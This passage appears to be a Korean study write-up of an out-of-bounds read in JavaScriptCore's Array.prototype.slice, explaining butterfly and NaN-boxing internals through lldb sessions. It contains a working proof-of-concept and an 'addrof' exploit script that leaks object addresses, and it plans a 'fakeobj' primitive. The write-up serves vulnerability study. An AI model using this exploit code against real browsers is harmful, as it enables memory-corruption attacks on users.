slice 함수의 첫 번째 인자는 인덱스 0(배열의 첫 번째 항목)이지만, 두 번째 인자는 valueOf 함수를 호출하는 객체이다.

객체가 JS 원시 타입(number)으로 변환될 때 valueOf 함수가 자동으로 호출된다.

arrayProtoFuncSlice 함수가 호출되면 argumentClampedIndexFromStartOrEnd 함수도 함께 실행되고,

그 함수 안에서 .slice 메서드의 인자들이 toInteger() 함수를 통해 원시 타입으로 변환된다.

inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    ...
    double indexDouble = value.toInteger(exec);
    ...
}

poc 코드에서 .slice 메서드로 전달되는 2번째 인자를 살펴보면,

valueOf 함수가 **배열 a**의 길이를 변경하고 고정된 정수 10을 반환하도록 재정의되어 있다.

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});

수정된 버전의 **valueOf**는 argumentClampedIndexFromStartOrEnd 안에서 value.toInteger(exec)가 실행될 때 호출되며,

배열의 길이를 100에서 0으로 바꾸고 end 인덱스로 10을 반환한다.

arrayProtoFuncSlice 함수는 begin = 0부터 end = 10까지의 범위로 new_array를 만들려고 실행을 계속하지만, 우리가 만든 **valueOf**가 실행된 탓에 **배열 a**는 이제 비어 있다.(length = 0).

그 상태에서 fastSlice 함수의 **memcpy**가 호출되면 인덱스 1부터 10까지의 인접 메모리를 복사하게 되고, 메모리 leak이 발생한다.

정리하자면,

  1. 길이가 100인 **배열 a**를 만든다.
  2. arrayProtoFuncSlice 안의 argumentClampedIndexFromStartOrEnd 함수가 toInteger() 함수를 호출할 때 우리가 수정한 버전의 **valueOf**를 실행하게 되고, 이제 배열 a는 길이가 0인 배열이 되며 end 인덱스로 숫자 10이 반환된다.
  3. 그다음 arrayProtoFuncSlice 안에서 fastSlice 함수가 실행되고, (fastSlice 내부의) **memcpy**는 길이가 0인 배열에서 0부터 9까지를 복사하려고 시도한다. 새로운 배열 a의 크기가 0이므로 a[0]부터 a[9]까지는 범위를 벗어나며, 따라서 memcpy 함수는 **배열 a**의 인접 메모리를 읽게 된다. 이것이 바로 메모리 누수가 발생하는 이유이다.

그림:

Drawing 2026-08-26 11.19.29.excalidraw-fs8.png

JSC 쉘에 대해 더 알아보기

describe()를 이용해서 배열 a 내용을 덤프해보기

JSC 쉘에서 아래와 같이 배열 a[1, 2, 3, 4]를 넣었다고 해보자.

describe()는 JS 값을 엔진 내부 표현으로 덤프해준다.

seos-Mac:Debug seo$ sudo xcrun lldb -o "settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)" -- ./jsc
(lldb) target create "./jsc"
Current executable set to './jsc' (x86_64).
(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug
(lldb) r
Process 806 launched: './jsc' (x86_64)
>>> a = [1, 2, 3, 4]
1,2,3,4
>>> describe(a)
Cell: 0x103847e30 (0x103833900:[Array, {}, ArrayWithInt32, Proto:0x103847f40]), ID: 159
>>> Process 806 stopped
* thread #1: tid = 0x696b, 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
->  0x7fff8b56c362 <+10>: jae    0x7fff8b56c36c            ; <+20>
    0x7fff8b56c364 <+12>: movq   %rax, %rdi
    0x7fff8b56c367 <+15>: jmp    0x7fff8b5657f2            ; cerror
    0x7fff8b56c36c <+20>: retq

왼쪽부터 순서대로,

각각 JSCell 주소 / Structure 주소 / classInfo()->className / 프로퍼티 테이블 / m_indexingType / 프로토타입 주소 / structureID를 의미한다.

>>> describe(a)
Cell: 0x103847e30 (0x103833900:[Array, {}, ArrayWithInt32, Proto:0x103847f40]), ID: 159
>>> Process 806 stopped

className은 Array이므로, *(JSC::JSArray*) 타입을 캐스팅해서 살펴볼 수 있다.

(lldb) p *(JSC::JSArray*)0x103847e30
(JSC::JSArray) $0 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = (m_structureID = 159, m_indexingType = '\x05', m_type = ObjectType, m_flags = ' ', m_gcData = '\x01')
      m_butterfly = (m_value = 0x000000010381c3b0)
    }
  }
}

여기서 butterfly 주소는 0x000000010381c3b0이다.

(lldb) p ((JSC::JSArray*)0x103847e30)->butterfly()
(JSC::Butterfly *) $1 = 0x000000010381c3b0

내부적으로 JSC는 동일한 메모리 영역에 속성과 요소를 모두 저장하고, 객체 자체는 해당 메모리 영역에 대한 포인터를 저장한다.

이 포인터는 영역의 한 가운데를 가리키고 있으며, 속성은 영역의 왼쪽(낮은 주소), 요소는 오른쪽에 저장된다. 또한 포인터가 가리킨 영역 바로 앞에 ‘length’ 속성(요소 벡터의 길이를 포함하는 작은 헤더)이 있다.

이 개념은 나비의 날개처럼 왼쪽과 오른쪽으로 값이 확장되기 때문에 “Butterfly” 라고 불린다.

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
                            ^
                            |
            +---------------+
            |
  +-------------+
  | Some Object |
  +-------------+

butterfly를 살펴봤을 때, 배열 요소는 총 4개이다.

(lldb) p ((JSC::JSArray*)0x103847e30)->butterfly()->publicLength()
(uint32_t) $8 = 4

describeArray()로도 확인 가능하다.

>>> describeArray(a)
<Public length: 4; vector length: 4>

배열 a[1, 2, 3, 4]를 지정했기 때문에 다음과 같은 값들이 덤프된다.

부호있는 32비트 정수는 16비트 태그인 0xFFFF가 앞에 접두사로 붙여지면서 표시된다.

(lldb) x/8gx 0x000000010381c3b0
0x10381c3b0: 0xffff000000000001 0xffff000000000002
0x10381c3c0: 0xffff000000000003 0xffff000000000004
0x10381c3d0: 0x0000000000000000 0x0000000000000000
0x10381c3e0: 0x0000000000000000 0x0000000000000000

JSC가 사용하는 스키마는 JSCJSValue.h (Source\JavaScriptCore\runtime\JSCJSValue.h:344)에 잘 설명되어있다. 이와 관련한 부분이 추후 중요하게 사용되므로 아래에 인용한다:

상위 16비트는 인코딩된 JSValue 의 유형을 나타낸다:

Pointer {  0000:PPPP:PPPP:PPPP
       / 0001:****:****:****
Double  {         ...
       \ FFFE:****:****:****
Integer {  FFFF:0000:IIII:IIII

double-precision 값을 JSValue 로 인코딩하려면 double 값에 2^48 을 더해서 64비트 형태로 표현하면 된다. 이 조작 후에 인코딩된 double-precision 값은 0x0000 또는 0xFFFF 패턴으로 시작할 수 없다. 상위 16 비트가 0x0001 – 0xFFFE 의 범위를 갖는 것이다. 이렇게 만들어진 JSValue 값들로 추가적인 연산을 하고자 한다면, 먼저 위 인코딩을 역으로 수행하여 JSValue 값을 double 값으로 디코딩해야 한다.

부호있는 32비트 정수는 16비트 태그인 0xFFFF로 표시된다.

0x0000 태그는 포인터 또는 바로 태그된 상수의 다른 형태를 나타낸다. boolean, null 및 undefined 값은 유효하지 않은 특정 포인터 값으로 표시된다.

False:     0x06
True:      0x07
Undefined: 0x0a
Null:      0x02          -> 0000:0000:0000:0002

poc 코드를 실행하여 배열 a , b 내용 덤프해보기

describe()으로 배열 a를 확인해봤을때,

JSCell 주소는 0x103847e20, butterfly 주소는 0x10381c9d0 이다.

배열 b의 경우,

JSCell 주소는 0x103847e10, butterfly 주소는 0x10381c9e8 이다.

seos-Mac:Debug seo$ sudo xcrun lldb -o "settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)" -- ./jsc -i poc.jsc
(lldb) target create "./jsc"
Current executable set to './jsc' (x86_64).
(lldb) settings set -- target.run-args  "-i" "poc.jsc"
(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug
(lldb) r
Process 829 launched: './jsc' (x86_64)
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
>>> describe(a)
Cell: 0x103847e20 (0x103833890:[Array, {}, ArrayWithDouble, Proto:0x103847f40]), ID: 160
>>> describeArray(a)
<Public length: 0; vector length: 0>
>>> print(a)

undefined
>>> describe(b)
Cell: 0x103847e10 (0x103833890:[Array, {}, ArrayWithDouble, Proto:0x103847f40]), ID: 160
>>> describeArray(b)
<Public length: 10; vector length: 10>
>>> print(b)
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
undefined
>>> Process 829 stopped
* thread #1: tid = 0x746f, 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
->  0x7fff8b56c362 <+10>: jae    0x7fff8b56c36c            ; <+20>
    0x7fff8b56c364 <+12>: movq   %rax, %rdi
    0x7fff8b56c367 <+15>: jmp    0x7fff8b5657f2            ; cerror
    0x7fff8b56c36c <+20>: retq
(lldb) p *(JSC::JSArray*)0x103847e20
(JSC::JSArray) $2 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = (m_structureID = 160, m_indexingType = '\a', m_type = ObjectType, m_flags = ' ', m_gcData = '\x01')
      m_butterfly = (m_value = 0x000000010381c9d0)
    }
  }
}
(lldb) p *(JSC::JSArray*)0x103847e10
(JSC::JSArray) $3 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = (m_structureID = 160, m_indexingType = '\a', m_type = ObjectType, m_flags = ' ', m_gcData = '\x01')
      m_butterfly = (m_value = 0x000000010381c9e8)
    }
  }
}

각각 배열 a, b에 대한 butterfly 덤프 내용이다.

(poc 코드 중) print(b)에서 표시되었던 배열 값들이 여기에 그대로 표시된다.

(lldb) x/10fg 0x000000010381c9d0
0x10381c9d0: 0.123
0x10381c9d8: 1.123
0x10381c9e0: 2.121995791459338E-313
0x10381c9e8: 0.123
0x10381c9f0: 1.123
0x10381c9f8: 2.121995791459338E-313
0x10381ca00: 0
0x10381ca08: 0
0x10381ca10: 0
0x10381ca18: 0
(lldb) x/10fg 0x000000010381c9e8
0x10381c9e8: 0.123
0x10381c9f0: 1.123
0x10381c9f8: 2.121995791459338E-313
0x10381ca00: 0
0x10381ca08: 0
0x10381ca10: 0
0x10381ca18: 0
0x10381ca20: 0
0x10381ca28: 0
0x10381ca30: 0

익스플로잇 구축

버그는 단순한 Out-Of-Bounds Read처럼 보이지만,

우리가 원하는 JSValue 들을 새로 만든 자바스크립트 배열에 “삽입”할 수 있고, 이는 곧 엔진에 그 값을 주입할 수 있다.

이 버그를 이용하여 익스플로잇을 위한 2개의 기초단계들을 구축한다.

  1. 임의의 자바스크립트 객체의 주소를 릭한다. → addrof 라고 부른다.
  2. 엔진 안에 가짜 자바스크립트 객체를 삽입한다. → fakeobj 라고 부른다.

JSC의 butterfly 슬롯은 8바이트지만, 그 비트를 어떻게 읽을지는 메모리가 아니라 셀 헤더의 m_indexingType 1바이트가 결정한다.

ArrayWithDouble인 배열의 원소는 태그 없는 native double 그대로 저장된다. 반면 그 외의 모든 저장 위치(ArrayWithContiguous 원소, 네임드 프로퍼티, 인라인 슬롯)는 NaN-boxing된 JSValue 형태로 저장된다. NaN-boxing이란, 64비트 하나에 double 값과 "이건 double이 아니라 포인터/정수다"라는 타입 정보를 동시에 넣는 기법을 말한다. 같은 비트라도 전자는 실수 값이지만 후자는 상위 16비트가 태그로 해석된다.

따라서 메모리 내용은 그대로 둔 채 IndexingType만 반대로 인식시키면 두 방향의 원시 기능이 나온다.

addrof

주소값을 릭하기 위해 필요한 단계는 다음과 같다.

  1. double 형 배열을 생성한다. 이 배열은 IndexingTypeArrayWithDouble로 보관된다.
  2. 다음과 같은 작업을 수행할 valueOf 함수를 가진 객체를 생성한다.
    1. 이전에 만든 배열을 축소한다.
    2. 새로운 배열을 할당하고, 주소를 알고자 하는 객체를 배열에 넣는다. 이 배열은 대부분의 경우 복사된 공간에 위치하고 있기 때문에, 앞서 축소한 배열의 Butterfly의 바로 뒤에 위치할 것이다.
    3. 버그를 트리거하기 위해 축소한 배열의 크기보다 큰 값을 리턴한다.
  3. 대상이 되는 배열이 slice()를 호출할때 2에서 생성된 객체를 인자값으로 사용한다.

이제 우리가 찾고자 했던 객체의 주소값이 64bit 부동소수점의 형태로 배열 내에 저장되어 있을 것이다.

slice()IndexingType을 보존하기 때문에 새로운 배열은 데이터를 네이티브 double 형으로 취급하여 부동소수점의 형태로 표현되는 것이다. 이렇게 임의의 JSValue 인스턴스,

즉 포인터를 릭할 수 있게 된다.

구현된 addrof 코드는 다음과 같다.

Int64_fromDouble은 double의 비트 패턴을 해석하지 않고 그대로 64비트 정수로 읽어 hex 문자열로 반환한다.

  • addrof.jsc
function Int64_fromDouble(d) {
    var u = new Uint32Array(new Float64Array([d]).buffer);
    var h = u[1].toString(16), l = u[0].toString(16);
    while (h.length < 8) h = '0' + h;
    while (l.length < 8) l = '0' + l;
    return '0x' + h + l;
}

function addrof(object) {
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.1337);
    var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});
    for (var i = 0; i < 4; i++)          // 인덱스를 눈으로 확인
        print(i + ': ' + Int64_fromDouble(b[i]));
    return Int64_fromDouble(b[3]);
}

var target = [1, 2, 3, 4];
print(describe(target));                
print(addrof(target));
  • 실행 결과

스크립트가 찍은 describe(target)Cell: 0x...addrof(target) 반환값이 일치한다.

seos-Mac:Debug seo$ sudo xcrun lldb -o "settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)" -- ./jsc -i addrof.jsc
(lldb) target create "./jsc"
Current executable set to './jsc' (x86_64).
(lldb) settings set -- target.run-args  "-i" "addrof.jsc"
(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug
(lldb) r
Process 860 launched: './jsc' (x86_64)
Cell: 0x103c47e30 (0x103c33900:[Array, {}, ArrayWithInt32, Proto:0x103c47f40]), ID: 159
0: 0x3fc11d14e3bcd35b
1: 0x3ff223a29c779a6b
2: 0x0000000400000001
3: 0x0000000103c47e30
0x0000000103c47e30

addrof 디버깅

디버깅 실력에 능숙해지도록 한번 시도해보았다.

1. JSC::arrayProtoFuncSlice 에서 브레이크포인트 설치하고 살펴보기

JSC::arrayProtoFuncSlice 에서 브레이크포인트를 설치하고 poc 코드를 실행한다.

thisObjindexingType 은 7이고, butterfly 주소는 0x10381c3d8이다.

(lldb) b JSC::arrayProtoFuncSlice
Breakpoint 1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*) + 15 at ArrayPrototype.cpp:724, address = 0x00000001000958af
(lldb) r
There is a running process, kill it and restart?: [Y/n] y
Process 860 exited with status = 9 (0x00000009)
Process 864 launched: './jsc' (x86_64)
Cell: 0x103847e30 (0x103833900:[Array, {}, ArrayWithInt32, Proto:0x103847f40]), ID: 159
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001000958af JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 15 at ArrayPrototype.cpp:724, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x00000001000958af JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 15 at ArrayPrototype.cpp:724
   721  EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
   722  {
   723      // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
-> 724      JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
   725      unsigned length = getLength(exec, thisObj);
   726      if (exec->hadException())
   727          return JSValue::encode(jsUndefined());

(lldb) n
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001000958e0 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 64 at ArrayPrototype.cpp:725, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x00000001000958e0 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 64 at ArrayPrototype.cpp:725
   722  {
   723      // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
   724      JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
-> 725      unsigned length = getLength(exec, thisObj);
   726      if (exec->hadException())
   727          return JSValue::encode(jsUndefined());
   728

(lldb) p/x thisObj
(JSC::JSObject *) $2 = 0x0000000103847e20
(lldb) x/2gx 0x0000000103847e20
0x103847e20: 0x01201207000000a0 0x000000010381c3d8
(lldb) p/x thisObj->indexingType()
(JSC::IndexingType) $3 = 0x07
(lldb) p/x *(JSC::JSObject *)thisObj
(JSC::JSObject) $5 = {
  JSC::JSCell = (m_structureID = 0x000000a0, m_indexingType = 0x07, m_type = 0x12, m_flags = 0x20, m_gcData = 0x01)
  m_butterfly = (m_value = 0x000000010381c3d8)
}

indexingType 이 7이면, ArrayWithDouble이다.

// ref: Source\JavaScriptCore\runtime\IndexingType.h:50

...
typedef uint8_t IndexingType;

// Flags for testing the presence of capabilities.
static const IndexingType IsArray                  = 0x01;

// The shape of the indexed property storage.
static const IndexingType IndexingShapeMask        = 0x0E;
static const IndexingType NoIndexingShape          = 0x00;
static const IndexingType UndecidedShape           = 0x02; // Only useful for arrays.
static const IndexingType Int32Shape               = 0x04;
static const IndexingType DoubleShape              = 0x06;
static const IndexingType ContiguousShape          = 0x08;
static const IndexingType ArrayStorageShape        = 0x0A;
static const IndexingType SlowPutArrayStorageShape = 0x0C;

static const IndexingType IndexingShapeShift       = 1;
static const IndexingType NumberOfIndexingShapes   = 7;

// Additional flags for tracking the history of the type. These are usually
// masked off unless you ask for them directly.
static const IndexingType MayHaveIndexedAccessors  = 0x10;

// List of acceptable array types.
static const IndexingType NonArray                        = 0x0;
static const IndexingType NonArrayWithInt32               = Int32Shape;
static const IndexingType NonArrayWithDouble              = DoubleShape;
static const IndexingType NonArrayWithContiguous          = ContiguousShape;
static const IndexingType NonArrayWithArrayStorage        = ArrayStorageShape;
static const IndexingType NonArrayWithSlowPutArrayStorage = SlowPutArrayStorageShape;
static const IndexingType ArrayClass                      = IsArray; // I'd want to call this "Array" but this would lead to disastrous namespace pollution.
static const IndexingType ArrayWithUndecided              = IsArray | UndecidedShape;
static const IndexingType ArrayWithInt32                  = IsArray | Int32Shape;
static const IndexingType ArrayWithDouble                 = IsArray | DoubleShape;
static const IndexingType ArrayWithContiguous             = IsArray | ContiguousShape;
static const IndexingType ArrayWithArrayStorage           = IsArray | ArrayStorageShape;
static const IndexingType ArrayWithSlowPutArrayStorage    = IsArray | SlowPutArrayStorageShape;
...

thisObj에서 구한 butterfly주소값으로 x/2wx <butterfly>-8 명령어로 내용을 덤프한다.

왼쪽 기준으로, 두 값은

(poc 코드 중) a.length을 의미하는 publicLength,

실제 버퍼 크기(할당된 슬롯 수)를 의미하는 vectorLength이다.

publicLength은 100, vectorLength은 190이다.

(lldb) x/2wx 0x000000010381c3d8-8
0x10381c3d0: 0x00000064 0x000000be

왜 -8을 해야할까?

JSObject는 인덱스 원소와 네임드 프로퍼티를 한 덩어리 메모리에 담는데, 둘이 서로 반대 방향으로 자란다.

        ← 프로퍼티가 이쪽으로 증가        원소가 이쪽으로 증가 →
┌──────────────┬──────────────┬─────────────────┬───────────┬───────────┐
│  prop[n-1]   │   prop[0]    │  IndexingHeader │ elem[0]   │ elem[1]   │ ...
└──────────────┴──────────────┴─────────────────┴───────────┴───────────┘
                                   8 bytes       ▲
                                                 └─ Butterfly* 가 가리키는 곳

이게 바로 butterfly라고 이름이 지어진 이유이며, 포인터가 가운데(양 날개가 만나는 지점) 를 가리켜서다.

덕분에 원소 접근은 butterfly[i], 프로퍼티 접근은 butterfly[-1-j]로 양쪽 다 오프셋 하나로 끝난다.

그래서 Butterfly*첫 원소를 가리키고, 길이 정보가 담긴 IndexingHeader 8바이트는 그 바로 앞에 있다. 셀에서 읽은 butterfly 값에 -8을 해야 하는 이유라고 볼 수 있다.

  • Source\JavaScriptCore\runtime\IndexingHeader.h:39
union {
    struct {
        uint32_t publicLength;   // -8  ← a.length, JS에서 보이는 길이
        uint32_t vectorLength;   // -4  ← 실제 할당된 슬롯 수
    } lengths;
    ...

2. ArrayPrototype.cpp:170 — 브레이크포인트 설치하고 살펴보기

length=100인 배열 a가 있다는 것을 의미한다.

(lldb) br s -f ArrayPrototype.cpp -l 170
Breakpoint 2: where = JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(JSC::ExecState*, int, unsigned int, unsigned int) + 75 at ArrayPrototype.cpp:170, address = 0x000000010009748b
(lldb) c
Process 864 resuming
Process 864 stopped
* thread #1: tid = 0x8232, 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
    frame #0: 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170
   167      if (value.isUndefined())
   168          return undefinedValue;
   169
-> 170      double indexDouble = value.toInteger(exec);
   171      if (indexDouble < 0) {
   172          indexDouble += length;
   173          return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
   
(lldb) bt 3
* thread #1: tid = 0x8232, 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
  * frame #0: 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170
    frame #1: 0x0000000100095933 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 147 at ArrayPrototype.cpp:729
    frame #2: 0x0000500b1de01028

3. JSC::JSObject::reallocateAndShrinkButterfly 브레이크포인트 설치하고 살펴보기

length=0이 찍힌다.

(lldb) b JSC::JSObject::reallocateAndShrinkButterfly
Breakpoint 3: where = JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(JSC::VM&, unsigned int) + 23 at JSObject.cpp:2483, address = 0x00000001007a1c47
(lldb) br di 2
1 breakpoints disabled.
(lldb) c
Process 864 resuming
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001007a1c47 JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 23 at JSObject.cpp:2483, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
    frame #0: 0x00000001007a1c47 JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 23 at JSObject.cpp:2483
   2480
   2481 void JSObject::reallocateAndShrinkButterfly(VM& vm, unsigned length)
   2482 {
-> 2483     ASSERT(length < MAX_ARRAY_INDEX);
   2484     ASSERT(length < MAX_STORAGE_VECTOR_LENGTH);
   2485     ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));
   2486     ASSERT(m_butterfly->vectorLength() > length);

setPublicLength(0) 직전에 멈춰서, butterfly 주소를 확인한다.

(lldb) br s -f JSObject.cpp -l 2493
Breakpoint 4: where = JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(JSC::VM&, unsigned int) + 655 at JSObject.cpp:2493, address = 0x00000001007a1ebf
(lldb) c
Process 864 resuming
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001007a1ebf JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 655 at JSObject.cpp:2493, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1
    frame #0: 0x00000001007a1ebf JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 655 at JSObject.cpp:2493
   2490     Butterfly* newButterfly = m_butterfly->resizeArray(vm, this, structure(), 0, ArrayStorage::sizeFor(length));
   2491     m_butterfly.set(vm, this, newButterfly);
   2492     m_butterfly->setVectorLength(length);
-> 2493     m_butterfly->setPublicLength(length);
   2494 }
   2495
   2496 Butterfly* JSObject::growOutOfLineStorage(VM& vm, size_t oldSize, size_t newSize)
   
(lldb) p/x this->m_butterfly.get()
(JSC::Butterfly *) $7 = 0x000000010381c9d0
(lldb) x/2wx 0x000000010381c9d0-8
0x10381c9c8: 0x00000064 0x00000000
(lldb) x/8fg 0x000000010381c9d0
0x10381c9d0: 0.13370000000000001
0x10381c9d8: 1.1336999999999999
0x10381c9e0: 0
0x10381c9e8: 0
0x10381c9f0: 0
0x10381c9f8: 0
0x10381ca00: 0
0x10381ca08: 0

(lldb) fin
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001006f70ff JavaScriptCore`JSC::JSArray::setLength(this=0x0000000103847e20, exec=0x00007fff5fbfd870, newLength=0, throwException=false) + 751 at JSArray.cpp:428, queue = 'com.apple.main-thread', stop reason = step out
    frame #0: 0x00000001006f70ff JavaScriptCore`JSC::JSArray::setLength(this=0x0000000103847e20, exec=0x00007fff5fbfd870, newLength=0, throwException=false) + 751 at JSArray.cpp:428
   425          unsigned costToAllocateNewButterfly = 64; // a heuristic.
   426          if (lengthToClear > newLength && lengthToClear > costToAllocateNewButterfly) {
   427              reallocateAndShrinkButterfly(exec->vm(), newLength);
-> 428              return true;
   429          }
   430
   431          if (indexingType() == ArrayWithDouble) {
   
(lldb) x/2wx 0x000000010381c9d0-8
0x10381c9c8: 0x00000000 0x00000000
(lldb) x/8fg 0x000000010381c9d0
0x10381c9d0: 0.13370000000000001
0x10381c9d8: 1.1336999999999999
0x10381c9e0: 0
0x10381c9e8: 0
0x10381c9f0: 0
0x10381c9f8: 0
0x10381ca00: 0
0x10381ca08: 0

4. a = [object] 이후, butterfly 덤프

butterfly-8 지점을 덤프한다.

(lldb) br s -f ArrayPrototype.cpp -l 175
Breakpoint 5: where = JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(JSC::ExecState*, int, unsigned int, unsigned int) + 169 at ArrayPrototype.cpp:175, address = 0x00000001000974e9
(lldb) c
Process 864 resuming
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001000974e9 JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=1, length=100, undefinedValue=100) + 169 at ArrayPrototype.cpp:175, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1
    frame #0: 0x00000001000974e9 JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=1, length=100, undefinedValue=100) + 169 at ArrayPrototype.cpp:175
   172          indexDouble += length;
   173          return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
   174      }
-> 175      return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
   176  }
   177
   178  // The shift/unshift function implement the shift/unshift behaviour required
(lldb) x/8gx 0x000000010381c9d0-8
0x10381c9c8: 0x0000000000000000 0x3fc11d14e3bcd35b
0x10381c9d8: 0x3ff223a29c779a6b 0x0000000400000001
0x10381c9e8: 0x0000000103847e30 0x0000000000000000
0x10381c9f8: 0x0000000000000000 0x0000000000000000
(lldb) x/2gx 0x0000000103847e30
0x103847e30: 0x012012050000009f 0x000000010381c3b0
(lldb) p indexDouble
(double) $11 = 4
(lldb) p length
(unsigned int) $12 = 100

덤프 내용은 다음을 의미한다.

X+240x0000000400000001(publicLength=1, vectorLength=4)이고

X+32가 상위 16비트 0x0000인 포인터면 예측대로 배치된 것이다.

X+32에 태그 없는 raw 포인터가 들어있다는 사실 자체가 Contiguous(boxed)라는 증거가 될 수도 있을 것이다. Double 배열이었다면 거기에 double 비트가 들어갔을 것이다.

X+0 : 0x0000000000000000   0x3fc11e5604189375     ← 헤더{0,0} / 0.1337
X+16: 0x3ff11e5604189375   0x0000000400000001     ← 1.1337 / [object]헤더{1,4}
X+32: 0x0000000103847e30   0x0000000000000000     ← ★ 타깃 포인터 / hole
X+48: ...

실제로, [object] 배열이 boxed인지 확인한다.

m_indexingtype이 0x5(ArrayWithInt32)이므로, boxed 형태가 맞다.

(lldb) x/2gx 0x0000000103847e30
0x103847e30: 0x012012050000009f 0x000000010381c3b0

(lldb) p/x *(JSC::JSArray*)0x103847e30
(JSC::JSArray) $15 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = (m_structureID = 0x0000009f, m_indexingType = 0x05, m_type = 0x12, m_flags = 0x20, m_gcData = 0x01)
      m_butterfly = (m_value = 0x000000010381c3b0)
    }
  }
}

4-1. boxed/unboxed란?

JS 변수 하나에는 숫자, 문자열, 객체, null 등 아무거나 들어간다.

그런데 메모리 슬롯은 8바이트 하나뿐이며, 그래서 값 자체와 "이게 무슨 타입인지"를 그 8바이트에 같이 욱여넣는다. 이 포장이 boxing이고, 포장된 형태가 JSValue이다.

JSC의 포장 규칙은 상위 16비트를 태그로 쓰는 것이다.

상위 16비트 타입 하위 48비트
0x0000 포인터 (Cell) 주소 그대로
0x0001 ~ 0xFFFE Double 원본 비트 + 2^48
0xFFFF Int32 하위 32비트가 값

반대로 unboxed는 포장 없이 값만 넣는 것이다.

JSC에서 unboxed로 저장되는 건 딱 하나, ArrayWithDouble 배열의 원소뿐이다.

같은 값 1을 저장했을 때

